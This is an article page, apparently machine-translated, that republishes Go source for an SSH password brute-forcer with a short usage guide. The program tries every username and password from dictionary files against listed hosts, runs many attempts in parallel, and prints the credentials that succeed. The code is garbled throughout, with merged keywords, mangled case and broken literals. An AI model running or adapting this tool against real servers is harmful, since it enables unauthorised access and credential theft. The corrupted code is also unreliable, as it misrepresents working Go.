This is a creation in Article, where the information may have evolved or changed.
Instructions for use:
- The IPList format is ip:port, such as 111.111.111.111:22
- User.txt A dictionary of user names
- Password.txt as a password dictionary
- Github:https://github.com/netxfly/crack_ssh/blob/master/scan_ssh.go
Source:
PackageMainImport("Bufio" "bytes" "FMT" "Github.com/btcsuite/golangcrypto/ssh" "Log" "OS" "Runtime" "Strings" "Time")typeHostinfostruct{HoststringPortstringUserstringPassstringIs_weakBOOL}//help functionfuncUsage (cmdstring) {FMT. PRINTLN (Strings. Repeat ("-", -) FMT. Println ("SSH Scanner by Hartnett [X@xsec.io]") FMT. Println ("Usage:") FMT. Printf ("%s iplist userdic passdic\n", cmd) fmt. PRINTLN (Strings. Repeat ("-", -))}//Read lime from file and ScanfuncPrepare (IPList, User_dict, pass_dictstring) (Slice_iplist, Slice_user, Slice_pass []string) {Iplistfile, _: = OS. Open (IPList)deferIplistfile.close () Scanner: = Bufio. Newscanner (Iplistfile) scanner. Split (Bufio. Scanlines) forScanner. Scan () {slice_iplist =Append(Slice_iplist, scanner. Text ())} User_dictfile, _: = OS. Open (user_dict)deferUser_dictfile.close () Scanner_u: = Bufio. Newscanner (User_dictfile) scanner_u.split (Bufio. Scanlines) forScanner_u.scan () {Slice_user =Append(Slice_user, Scanner_u.text ())} Pass_dictfile, _: = OS. Open (pass_dict)deferPass_dictfile.close () Scanner_p: = Bufio. Newscanner (Pass_dictfile) scanner_p.split (Bufio. Scanlines) forScanner_p.scan () {Slice_pass =Append(Slice_pass, Scanner_p.text ())}returnSlice_iplist, Slice_user, Slice_pass}//Scan functionfuncScan (Slice_iplist, Slice_user, Slice_pass []string) { for_, Host_port: =Rangeslice_iplist {fmt. Printf ("Try to crack%s\n", host_port) T: = strings. Split (Host_port,":") Host: = t[0] Port: = t[1] N: =Len(slice_user) *Len(slice_pass) Chan_scan_result: = Make(ChanHostinfo, N) for_, User: =RangeSlice_user { for_, passwd: =RangeSlice_pass {host_info: = hostinfo{} host_info.host = host Host_info.port = P ORT host_info.user = User Host_info.pass = passwd host_info.is_weak =false GoCrack (Host_info, Chan_scan_result) forRuntime. Numgoroutine () > Runtime. NUMCPU ()*300{time. Sleep(Ten* Time. microsecond)}}} Done: = Make(Chan BOOL, N)Go func() { forI: =0; I <Cap(Chan_scan_result); i++ {Select{ Caser: = <-chan_scan_result://FMT. Printf ("Try%s:%s, User:%s, Password:%s\n", R.host, R.port, R.user, R.pass) ifR.is_weak {varbuf bytes. Buffer Logger: = log. New (&buf,"Logger:", log. Ldate) Logger. Printf ("%s:%s, User:%s, Password:%s\n", R.host, R.port, R.user, R.pass) fmt. Print (&AMP;BUF)} Case<-time. After(1* Time. Second)://FMT. PRINTLN ("timeout") Break} Done <-true} }() forI: =0; I <Cap(done); i++ {//FMT. Println (<-done)<-done}}}//Crack passwdfuncCrack (Host_info hostinfo, Chan_scan_resultChanHostinfo) {host: = Host_info.host port: = Host_info.port User: = Host_info.user passwd: = Host_info.pass I S_OK: = host_info.is_weak config: = &ssh. clientconfig{User:user, Auth: []ssh. authmethod{ssh. Password (passwd),},} client, err: = ssh. Dial ("TCP", host+":"+port, config)ifErr! =Nil{IS_OK =false //Panic ("Failed to dial:" + Err. Error ())}Else{session, Err: = client. NewSession ()deferSession. Close ()ifErr! =Nil{IS_OK =false}Else{IS_OK =true}} host_info.is_weak = Is_ok chan_scan_result <-Host_info}//Main functionfuncMain () {runtime. Gomaxprocs (runtime. NUMCPU ())if Len(OS. Args)! =4{Usage (OS. Args[0]) }Else{Usage (OS. Args[0]) IPList: = OS. Args[1] User_dict: = OS. Args[2] Pass_dict: = OS. Args[3] Scan (Prepare (IPList, User_dict, Pass_dict)}}